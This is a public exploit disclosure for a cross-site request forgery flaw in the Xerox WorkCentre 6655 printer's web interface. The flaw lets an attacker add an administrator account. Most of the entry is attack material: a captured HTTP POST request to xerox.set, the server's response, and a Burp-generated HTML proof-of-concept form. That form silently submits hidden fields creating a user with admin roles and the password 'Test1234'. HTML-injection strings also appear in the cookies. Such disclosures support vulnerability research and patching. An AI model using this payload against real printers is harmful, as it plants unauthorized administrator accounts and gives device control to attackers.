Share
# Exploit Title: XEROX WorkCentre 6655 Printer - Cross-Site Request Forgery (Add Admin)  
# Date: 2018-12-19   
# Exploit Author: Ismail Tasdelen  
# Vendor Homepage: https://www.xerox.com/  
# Hardware Link : https://www.office.xerox.com/en-us/multifunction-printers/workcentre-6655  
# Software : Xerox Printer  
# Product Version: WorkCentre® 6655  
# Vulernability Type : Cross-Site Request Forgery (Add Admin)  
# Vulenrability : Cross-Site Request Forgery  
# CVE : N/A  
  
# Description :  
# The CSRF vulnerability was discovered in the WorkCentre® 6655 printer model of Xerox printer hardware.  
# A request to add users is made in the Device User Database form field. This request is captured by  
# the proxy. And a CSRF PoC HTML file is prepared. Xerox WorkCentre® 6655 printers allow CSRF. A request  
# to add users is made in the Device User Database form field to the xerox.set URI.   
# (The frmUserName value must have a unique name.)  
  
  
HTTP POST Request :  
  
POST /dummypost/xerox.set HTTP/1.1  
Host: server  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 494  
Origin: https://server  
Connection: close  
Referer: https://server/properties/authentication/UserEdit.php?x=&isRoles=True&isPassword=True&isCreate=True&crumb1=UserManager%3Fx%3D%26sort%3DFname%26order%3DUp  
Cookie: PHPSESSID=d7c4d8f8efe7dd919e6d0f5c93ec16cd; PageToShow=; statusSelected=n1; statusNumNodes=9; frmFirstName=%22%3E%3Ch1%3Ea; frmLastName=%22%3E%3Ch1%3Ea; frmCompany=%22%3E%3Ch1%3Ea; frmDisplayName=%22%3E%3Ch1%3Ea%2C%20%22%3E%3Ch1%3Ea; frmEmail=test@test.com; frmIFax=324324324324; frmFaxNumber=324324324324; frmFriendlyName=; frmProtocol=SMB; frmXrxAdd_1=Ipv4; frmDocumentPath=; frmLoginName=; frmServerName=; frmServerVolume=; frmNdsTree=; frmNdsContext=; frmSmbShare=; frmHnAdd_1=; frmIpv4_1_1=0; frmIpv4_1_2=0; frmIpv4_1_3=0; frmIpv4_1_4=0; frmIpv6_Host_1=%3A%3A; WebTimerPopupID=4; propSelected=n28; propNumNodes=117; propHierarchy=000100000000000000000000000; LastPage=/properties/authentication/UserEdit.php%3F%26isRoles%3DTrue%26isPassword%3DTrue%26isCreate%3DTrue  
Upgrade-Insecure-Requests: 1  
  
CSRFToken=72d9d94444730e9b3d16953c7987c2b0cff73a5d6c60df40ba2804f07d24e494148665ebb53a2633e5a1e8b73ef64ad02536d260928c6f10f408f2e3fd7c0776&_fun_function=HTTP_Set_ccgen_fac_dispatch_fn&NextPage=%2Fproperties%2Fauthentication%2FUserManager.php%3Fx%3D%26sort%3DFname%26order%3DUp&CcgenModule=UserEdit&isRoles=True&isPassword=True&isCreate=True&rolesStr=2%2C5%2C1%2C&limited=False&oid=0&userName=ismailtasdelen&friendlyName=Ismail+Tasdelen&newPassword=Test1234&retypePassword=Test1234&role=2&role=1  
  
HTTP Response :  
  
HTTP/1.1 200 OK  
Date: Wed, 18 Dec 2019 22:09:40 GMT  
Server: Apache  
Connection: close  
Content-Type: text/html  
Content-Length: 13518  
  
CSRF HTML PoC :  
  
<html>  
<!-- CSRF PoC - generated by Burp Suite Professional -->  
<body>  
<script>history.pushState('', '', '/')</script>  
<form action="https://server/dummypost/xerox.set" method="POST">  
<input type="hidden" name="CSRFToken" value="72d9d94444730e9b3d16953c7987c2b0cff73a5d6c60df40ba2804f07d24e494148665ebb53a2633e5a1e8b73ef64ad02536d260928c6f10f408f2e3fd7c0776" />  
<input type="hidden" name="_fun_function" value="HTTP_Set_ccgen_fac_dispatch_fn" />  
<input type="hidden" name="NextPage" value="/properties/authentication/UserManager.php?x=&sort=Fname&order=Up" />  
<input type="hidden" name="CcgenModule" value="UserEdit" />  
<input type="hidden" name="isRoles" value="True" />  
<input type="hidden" name="isPassword" value="True" />  
<input type="hidden" name="isCreate" value="True" />  
<input type="hidden" name="rolesStr" value="2,5,1," />  
<input type="hidden" name="limited" value="False" />  
<input type="hidden" name="oid" value="0" />  
<input type="hidden" name="userName" value="ismailtasdelen" />  
<input type="hidden" name="friendlyName" value="Ismail Tasdelen" />  
<input type="hidden" name="newPassword" value="Test1234" />  
<input type="hidden" name="retypePassword" value="Test1234" />  
<input type="hidden" name="role" value="2" />  
<input type="hidden" name="role" value="1" />  
<input type="submit" value="Submit request" />  
</form>  
</body>  
</html>